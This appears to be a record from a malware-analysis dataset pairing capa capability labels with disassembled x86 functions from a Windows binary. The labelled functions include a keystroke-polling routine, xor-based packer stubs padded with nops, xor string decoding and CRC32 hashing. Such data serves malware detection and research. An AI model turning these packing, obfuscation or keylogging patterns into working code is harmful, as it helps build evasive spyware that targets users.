joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401360
Capabilities:
Get disk information
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x803dd8
push eax
mov dword fs:[0], esp
mov eax, dword [0xc27074]
sub esp, 0xc20
push ebx
push esi
push edi
cmp eax, 0x93
jne 0x401416
push 0
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
push 0
lea eax, [ebp - 0x42c]
push eax
push 0
call dword [sym.imp.USER32.dll_GetKeyNameTextA]
call dword [sym.imp.KERNEL32.dll_DebugBreak]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push 0
lea ecx, [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
lea eax, [ebp - 0x2c]
call fcn.004016a0
push 0x805b48
push 0
mov dword [ebp - 4], 0
call fcn.00401c76
call fcn.004017ee
push 0
push 0
call fcn.00401ba7
push 0
push 0
call fcn.00401a53
push 0
push 0
call fcn.0040197d
push 0
push 0
call fcn.00401ba7
add esp, 0x28
push 0
call fcn.00401f38
mov edx, dword [0x808658]
add eax, 0x1134b
push eax
push 0
mov dword [0xc27ad8], edx
mov dword [0xc27074], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0xc26a28], eax
call fcn.004012a0
xor esi, esi
cmp dword [0xc27074], esi
jbe 0x4014aa
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
mov ebx, dword [sym.imp.KERNEL32.dll_SetComputerNameExW]
jmp 0x401460
mov eax, dword [0xc27ad8]
mov cl, byte [eax + esi + 0x1134b]
mov edx, dword [0xc26a28]
mov byte [edx + esi], cl
cmp dword [0xc27074], 0x490
jne 0x4014a1
push 0
push 0
call ebx
push 0
lea eax, [ebp - 0x10]
push eax
call edi
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ResetWriteWatch]
inc esi
cmp esi, dword [0xc27074]
jb 0x401460
mov edi, dword [sym.imp.KERNEL32.dll_FindNextChangeNotification]
mov ebx, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
xor esi, esi
mov ecx, dword [0xc27074]
add ecx, esi
cmp ecx, 0x8d
jne 0x4014e3
push 0
call edi
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
push str.timalelitunomikemoleduke
call dword [sym.imp.KERNEL32.dll_SetComputerNameW]
inc esi
cmp esi, 0x38681
jl 0x4014b8
call fcn.00401200
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
xor esi, esi
lea esp, [esp]
push 0
call edi
cmp esi, 0x62
jne 0x40150e
call fcn.00401280
inc esi
cmp esi, 0x674db
jl 0x401500
mov esi, dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
mov edi, dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
mov ebx, dword [sym.imp.KERNEL32.dll_CompareStringA]
mov dword [ebp - 0x10], 0x7b
cmp dword [0xc27074], 0x86
jne 0x401567
push 0
lea edx, [ebp - 0xc2c]
push edx
push 0
call esi
push 0
push 0
push 0
call edi
push 0
push 0
push 0
push 0
push 0
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_AddAtomW]
sub dword [ebp - 0x10], 1
jne 0x401530
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call dword [0xc26a28]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401590
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
cmp dword [0xc27074], 0x400
push esi
push edi
jne 0x4015b4
lea eax, [ebp - 0x24]
call fcn.00401670
lea esi, [ebp - 0x24]
call fcn.00401690
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
push ebx
mov ebx, dword [ebp - 4]
xor esi, esi
call edi
cmp esi, 0x2af054
jle 0x4015d2
cmp ebx, 0x787e04e5
jne 0x4015db
inc esi
cmp esi, 0x1d8b
jl 0x4015c0
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
xor esi, esi
lea esp, [esp]
push 0
call edi
call ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp esi, 0x206d47
jg 0x40160d
inc esi
cmp esi, 0x4f6a4
jl 0x4015f0
mov edi, dword [sym.imp.KERNEL32.dll_GlobalFindAtomW]
xor esi, esi
pop ebx
push 0
call edi
cmp esi, 0x2b2589
jg 0x40162b
inc esi
cmp esi, 0x1190b
jl 0x401616
mov eax, dword [0x808684]
mov dword [0xc27074], eax
call fcn.00401360
mov esi, dword [sym.imp.KERNEL32.dll_ResumeThread]
mov edi, 0x3078f
jmp 0x401650
cmp dword [0xc27074], 0x51f
jne 0x401660
push 0
call esi
sub edi, 1
jne 0x401650
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 0x10

Function at 0x406890
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x807a68]
jne 0x40689a
repz ret
jmp fcn.00409dbf
Function at 0x409836
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004038c6
and dword [ebp - 4], 0
cmp dword [0x80a018], 0
mov ebx, eax
jne 0x4098e7
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x409998
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x409998
push eax
call fcn.00403854
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x80a018], eax
call esi
push eax
call fcn.00403854
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x80a01c], eax
call esi
push eax
call fcn.00403854
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x80a020], eax
call esi
push eax
call fcn.00403854
pop ecx
mov dword [0x80a028], eax
test eax, eax
je 0x4098e7
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00403854
pop ecx
mov dword [0x80a024], eax
mov eax, dword [0x80a024]
cmp eax, ebx
je 0x40993f
cmp dword [0x80a028], ebx
je 0x40993f
push eax
call fcn.004038cf
push dword [0x80a028]
mov esi, eax
call fcn.004038cf
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40993f
test edi, edi
je 0x40993f
call esi
test eax, eax
je 0x409936
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x409936
test byte [ebp - 0xc], 1
jne 0x40993f
or dword [ebp + 0x10], 0x200000
jmp 0x409978
mov eax, dword [0x80a01c]
cmp eax, ebx
je 0x409978
push eax
call fcn.004038cf
pop ecx
test eax, eax
je 0x409978
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x409978
mov eax, dword [0x80a020]
cmp eax, ebx
je 0x409978
push eax
call fcn.004038cf
pop ecx
test eax, eax
je 0x409978
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x80a018]
call fcn.004038cf
pop ecx
test eax, eax
je 0x409998
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40999a
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x432004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..rsrc
nop
mov ebx, 0x40c7d0
nop
nop
mov ecx, 0x4e6437d1
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43204e
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x432024
nop
nop
mov eax, section..data
nop
mov ebx, 0x42f314
nop
mov ecx, 0x9f47088
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x432084
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
add eax, 4
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43206c
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x431219

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x408ecc
nop
mov ecx, 0x42b32aae
test eax, eax
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x430024
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x42e1d0
mov ecx, 0x7ef366e6
nop
nop
nop
nop
nop
test eax, eax
nop
je 0x430084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x4043b0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x7f3610
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x907074]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
call fcn.00404370
mov ecx, dword [ebp + 0xc]
mov esi, eax
mov dword [ebp - 4], 0
mov dword [ebp - 0x14], esi
mov word [esi + 0xc], 0
push dword [ecx]
lea ecx, [esi + 0x10]
call fcn.00405b50
mov dword [esi + 0x28], 0
mov eax, esi
mov dword [esi + 0x30], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc

Function at 0x407f80
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x907074]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
push edi
cmp dword [esi + 0x38], 0
je 0x408023
cmp byte [esi + 0x3d], 0
je 0x408023
mov eax, dword [esi]
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
je 0x407fd9
mov ecx, dword [esi + 0x38]
mov eax, dword [ecx]
mov edx, dword [eax + 0x20]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [esi + 0x40]
push eax
call edx
sub eax, 0
je 0x407feb
sub eax, 1
je 0x407fef
sub eax, 2
je 0x408023
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00478d26
mov esp, ebp
pop ebp
ret
mov byte [esi + 0x3d], 0
mov edi, dword [ebp - 0x28]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x40800c
push dword [esi + 0x4c]
push edi
push 1
push eax
call fcn.006bff0e
add esp, 0x10
cmp edi, eax
jne 0x407fd9
cmp byte [esi + 0x3d], 0
pop edi
sete al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00478d26
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov al, 1
pop edi
xor ecx, ebp
pop esi
call fcn.00478d26
mov esp, ebp
pop ebp
ret
Function at 0x408180
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x907074]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
push edi
cmp dword [esi + 0x4c], 0
jne 0x4081a1
xor edi, edi
jmp 0x40822b
cmp dword [esi + 0x38], 0
je 0x408210
cmp byte [esi + 0x3d], 0
je 0x408210
mov eax, dword [esi]
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
je 0x4081e2
mov ecx, dword [esi + 0x38]
mov eax, dword [ecx]
mov edx, dword [eax + 0x20]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [esi + 0x40]
push eax
call edx
sub eax, 0
je 0x4081e6
sub eax, 1
je 0x4081ea
sub eax, 2
je 0x408210
xor al, al
jmp 0x408212
mov byte [esi + 0x3d], 0
mov edi, dword [ebp - 0x28]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x408207
push dword [esi + 0x4c]
push edi
push 1
push eax
call fcn.006bff0e
add esp, 0x10
cmp edi, eax
jne 0x4081e2
cmp byte [esi + 0x3d], 0
sete al
jmp 0x408212
mov al, 1
push dword [esi + 0x4c]
xor edi, edi
test al, al
cmovne edi, esi
call fcn.006bfc56
xor ecx, ecx
add esp, 4
test eax, eax
cmovne edi, ecx
lea eax, [esi + 4]
mov byte [esi + 0x48], 0
mov dword [esi + 0xc], eax
lea ecx, [esi + 8]
lea eax, [esi + 0x14]
mov dword [esi + 0x10], ecx
mov dword [esi + 0x1c], eax
lea eax, [esi + 0x18]
mov dword [esi + 0x20], eax
lea eax, [esi + 0x24]
mov dword [esi + 0x2c], eax
lea eax, [esi + 0x28]
mov dword [esi + 0x30], eax
mov byte [esi + 0x3d], 0
mov dword [ecx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov eax, dword [esi + 0x30]
mov dword [eax], 0
mov eax, dword [esi + 0xc]
mov dword [eax], 0
mov eax, edi
mov ecx, dword [esi + 0x1c]
pop edi
mov dword [ecx], 0
mov ecx, dword [esi + 0x2c]
mov dword [ecx], 0
mov dword [esi + 0x4c], 0
mov ecx, dword [0x1802d30]
mov dword [esi + 0x40], ecx
mov ecx, dword [0x1802d34]
mov dword [esi + 0x44], ecx
mov ecx, dword [ebp - 4]
mov dword [esi + 0x38], 0
xor ecx, ebp
pop esi
call fcn.00478d26
mov esp, ebp
pop ebp
ret
Function at 0x408e30
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, ecx
push ebx
mov dword [ebp - 0x10], eax
push esi
mov eax, dword [eax]
push edi
mov edi, dword [ebp + 8]
mov ecx, dword [eax + 4]
mov ebx, dword [eax]
add eax, 8
mov dword [ebp - 4], eax
mov eax, dword [edi + 0x10]
mov dword [ebp - 8], ecx
mov dword [ebp - 0xc], eax
lea esi, [eax + 1]
push esi
call fcn.00478f9d
push esi
mov esi, eax
mov dword [ebp + 8], eax
push 0
push esi
call fcn.006b6700
mov eax, dword [edi + 0x10]
add esp, 0x10
cmp dword [edi + 0x14], 0x10
jb 0x408e7c
mov edi, dword [edi]
push eax
push edi
push esi
call fcn.006b6180
xor edi, edi
add esp, 0xc
cmp dword [ebp - 0xc], edi
jle 0x408ed8
nop
mov eax, dword [ebp - 4]
inc bl
mov esi, dword [ebp - 4]
movzx ebx, bl
mov ecx, dword [eax + ebx*4]
mov eax, dword [ebp - 8]
add eax, ecx
movzx edx, al
mov eax, dword [ebp - 4]
mov dword [ebp - 8], edx
mov eax, dword [eax + edx*4]
mov dword [esi + ebx*4], eax
mov dword [esi + edx*4], ecx
add cl, al
movzx eax, cl
mov ecx, esi
mov esi, dword [ebp + 8]
movzx eax, byte [ecx + eax*4]
xor byte [edi + esi], al
mov al, byte [edi + esi]
mov ecx, dword [ebp + 0xc]
push eax
call fcn.00405330
inc edi
cmp edi, dword [ebp - 0xc]
jl 0x408e90
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 8]
push esi
mov eax, dword [ecx]
mov dword [eax], ebx
mov eax, dword [ecx]
mov dword [eax + 4], edx
call fcn.00478f98
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x418be0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x7f4866
mov eax, dword fs:[0]
push eax
sub esp, 0x13c
mov eax, dword [0x907074]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov eax, dword [ebp + 8]
lea edx, [ebp - 0xb8]
mov dword [ebp - 0x144], eax
push edx
mov ecx, dword [eax + 0x108]
mov eax, dword [ecx]
mov eax, dword [eax + 4]
call eax
mov dword [ebp - 0x148], eax
mov dword [ebp - 4], 0
xor esi, esi
movups xmm0, xmmword [0x8cc4a8]
mov cx, word [0x8cc4b8]
mov word [ebp - 0x24], cx
movups xmmword [ebp - 0x34], xmm0
mov eax, 0x8d3dcb09
mov ecx, esi
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
imul eax, eax, 0x3a
sub ecx, eax
add ecx, 0x39
xor word [ebp + esi*2 - 0x34], cx
inc esi
cmp esi, 9
jl 0x418c51
mov ecx, dword [ebp - 0x148]
lea eax, [ebp - 0x34]
push eax
call fcn.005b5a7a
lea ecx, [ebp - 0xb8]
mov byte [ebp - 0x13d], al
mov dword [ebp - 4], 0xffffffff
call fcn.005b59b4
cmp byte [ebp - 0x13d], 0
je 0x418d36
lea ecx, [edi + 0x7f0]
call fcn.0044de60
test eax, eax
je 0x418deb
mov eax, dword [0x1802d70]
cmp dword [eax + 0x5ec], 4
jne 0x418ce0
push 1
lea ecx, [edi + 0x7f0]
call fcn.0044e240
mov eax, dword [0x1802d70]
mov ecx, dword [eax + 0x84c]
cmp ecx, 1
jne 0x418cfc
push 0x2bc
mov ecx, edi
call fcn.005bbd40
jmp 0x418deb
cmp ecx, 2
mov ecx, edi
jne 0x418d12
push 0x320
call fcn.005bbd40
jmp 0x418deb
cmp dword [eax + 0x5ec], 4
jne 0x418d27
push 0x64
call fcn.005bbd40
jmp 0x418deb
push 0x384
call fcn.005bbd40
jmp 0x418deb
mov ecx, dword [ebp - 0x144]
lea edx, [ebp - 0x13c]
push edx
mov ecx, dword [ecx + 0x108]
mov eax, dword [ecx]
mov eax, dword [eax + 4]
call eax
mov dword [ebp - 0x144], eax
mov dword [ebp - 4], 1
xor esi, esi
mov ecx, dword [0x8cc4a0]
movq xmm0, qword [0x8cc498]
mov dword [ebp - 0x18], ecx
mov cx, word [0x8cc4a4]
movq qword [ebp - 0x20], xmm0
mov word [ebp - 0x14], cx
mov eax, 0x8d3dcb09
mov ecx, esi
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
imul eax, eax, 0x3a
sub ecx, eax
add ecx, 0x39
xor word [ebp + esi*2 - 0x20], cx
inc esi
cmp esi, 7
jl 0x418d80
mov ecx, dword [ebp - 0x144]
lea eax, [ebp - 0x20]
push eax
call fcn.005b5a7a
lea ecx, [ebp - 0x13c]
mov byte [ebp - 0x13d], al
mov dword [ebp - 4], 0xffffffff
call fcn.005b59b4
cmp byte [ebp - 0x13d], 0
je 0x418deb
push 0
push 0xf020
push 0x112
mov ecx, edi
call fcn.005bc020
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00478d26
mov esp, ebp
pop ebp
ret 4
Function at 0x41d820
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x907074]
xor eax, ebp
mov dword [ebp - 4], eax
movups xmm0, xmmword [0x8ccd24]
mov eax, dword [0x8ccd3c]
xor ecx, ecx
cmp dword [0x17f8f7c], 2
movups xmmword [ebp - 0x24], xmm0
mov dword [ebp - 0xc], eax
movq xmm0, qword [0x8ccd34]
mov ax, word [0x8ccd40]
movq qword [ebp - 0x14], xmm0
mov word [ebp - 8], ax
jl 0x41d963
movaps xmm2, xmmword [0x8d06a0]
mov eax, 5
movaps xmm4, xmmword [0x8d0750]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
mov ecx, 8
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
movd xmm5, eax
psrad xmm1, xmm5
mov eax, 0x1f
movaps xmm0, xmm1
movd xmm6, eax
mov eax, 0x8ccd24
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x8d06d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x8d06b0]
paddd xmm2, xmmword [0x8d06a0]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
paddw xmm1, xmmword [0x8d0700]
movq xmm0, qword [eax]
pxor xmm1, xmm0
movaps xmm0, xmm2
movq qword [ebp - 0x24], xmm1
movaps xmm1, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x8d06d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, qword [ebp - 0x1c]
paddw xmm1, xmmword [0x8d0700]
pxor xmm1, xmm0
movq qword [ebp - 0x1c], xmm1
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ecx
imul eax, eax, 0x3a
sub edx, eax
add edx, 0x39
xor word [ebp + ecx*2 - 0x24], dx
inc ecx
cmp ecx, 0xf
jl 0x41d963
cmp dword [0x1802eac], 8
lea eax, [ebp - 0x24]
mov edx, 0x1802e98
mov ecx, 0x80000001
cmovae edx, dword [0x1802e98]
push 0x17ef9a0
push eax
call fcn.004108b0
mov ecx, dword [ebp - 4]
xor eax, eax
add esp, 8
cmp dword [0x17ef9b0], eax
setne al
xor ecx, ebp
call fcn.00478d26
mov esp, ebp
pop ebp
ret
Function at 0x420f30
Capabilities:
Create thread

Disassembly:
push esi
mov esi, ecx
call fcn.00417250
push 0
push 0
push esi
push 0x41ea40
push 0
push 0
call fcn.006c4fbd
add esp, 0x18
pop esi
ret
Function at 0x42ad20
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x907074]
xor eax, ebp
mov dword [ebp - 4], eax
cmp word [0x8cec1e], 0
movups xmm0, xmmword [0x8cec0c]
mov eax, dword [0x8cec1c]
push edi
mov edi, dword [ecx + 0x858]
movups xmmword [ebp - 0x18], xmm0
mov dword [ebp - 8], eax
je 0x42ad80
push esi
xor esi, esi
mov eax, 0x8d3dcb09
mov ecx, esi
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
imul eax, eax, 0x3a
sub ecx, eax
add ecx, 0x39
xor word [ebp + esi*2 - 0x18], cx
inc esi
cmp esi, 0xa
jl 0x42ad57
pop esi
cmp dword [0x1802ec4], 8
lea ecx, [ebp - 0x1c]
push 4
push ecx
push 4
lea ecx, [ebp - 0x18]
mov dword [ebp - 0x1c], edi
mov eax, 0x1802eb0
cmovae eax, dword [0x1802eb0]
push ecx
push eax
push 0x80000001
call dword [0x80e6b0]
mov ecx, dword [ebp - 4]
mov eax, 1
xor ecx, ebp
pop edi
call fcn.00478d26
mov esp, ebp
pop ebp
ret
Function at 0x43e0f0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x907074]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x8cdd60]
xor ecx, ecx
mov dword [ebp - 0xc], eax
mov ax, word [0x8cdd64]
mov word [ebp - 8], ax
mov al, byte [0x8cdd66]
mov byte [ebp - 6], al
nop dword [eax]
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dl, cl
movsx eax, al
imul eax, eax, 0x3a
sub dl, al
add dl, 0x39
xor byte [ebp + ecx - 0xc], dl
inc ecx
cmp ecx, 7
jl 0x43e120
push 0xf
lea eax, [ebp - 0xc]
push eax
call fcn.00440970
mov ecx, dword [ebp - 4]
neg eax
sbb eax, eax
xor ecx, ebp
neg eax
call fcn.00478d26
mov esp, ebp
pop ebp
ret
Function at 0x5505be
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
cmp dword [0x907768], 0
push esi
je 0x550610
cmp dword [0x907ac0], 0xfffffffe
jne 0x5505fd
mov esi, dword [ebp + 8]
cmp esi, 0xffffffff
je 0x550610
push edi
mov edi, 0x17fc6ec
push edi
call dword [0x80e2d4]
cmp dword [0x17fc704], 0
jne 0x550613
push 0
push 0
push 0x550619
call fcn.006c4f31
add esp, 0xc
mov dword [0x17fc704], eax
test eax, eax
je 0x5505ec
cmp eax, 0xffffffff
je 0x5505ec
push 0xffffffffffffffff
push eax
call dword [0x80e488]
mov dword [0x907ac0], esi
jmp 0x5505f3
and dword [0x17fc704], 0
push edi
call dword [0x80e2d8]
pop edi
jmp 0x550610
mov eax, dword [ebp + 8]
mov dword [0x907ac0], eax
inc eax
neg eax
sbb eax, eax
and dword [0x17fc704], eax
pop esi
pop ebp
ret
call fcn.00483d32
int3

Function at 0x5be696
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 8]
movsx eax, byte [ebp + 0xc]
mov ecx, dword [edx]
xor eax, ecx
movzx eax, al
shr ecx, 8
mov eax, dword [eax*4 + 0x840488]
xor eax, ecx
mov ecx, dword [edx + 8]
mov dword [edx], eax
movzx eax, al
add eax, dword [edx + 4]
imul eax, eax, 0x8088405
inc eax
mov dword [edx + 4], eax
shr eax, 0x18
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x840488]
mov dword [edx + 8], ecx
pop ebp
ret

Function at 0x5c0b4f
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 0xc]
test edx, edx
jne 0x5c0b5d
xor eax, eax
pop ebp
ret
mov ecx, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0x10]
not ecx
cmp esi, 8
jb 0x5c0c1c
push edi
mov edi, esi
shr edi, 3
movzx eax, byte [edx]
sub esi, 8
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x840488]
movzx eax, byte [edx + 1]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x840488]
movzx eax, byte [edx + 2]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x840488]
movzx eax, byte [edx + 3]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x840488]
movzx eax, byte [edx + 4]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x840488]
movzx eax, byte [edx + 5]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x840488]
movzx eax, byte [edx + 6]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x840488]
movzx eax, byte [edx + 7]
add edx, 8
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x840488]
sub edi, 1
jne 0x5c0b75
pop edi
test esi, esi
je 0x5c0c38
movzx eax, byte [edx]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x840488]
inc edx
sub esi, 1
jne 0x5c0c20
not ecx
mov eax, ecx
pop esi
pop ebp
ret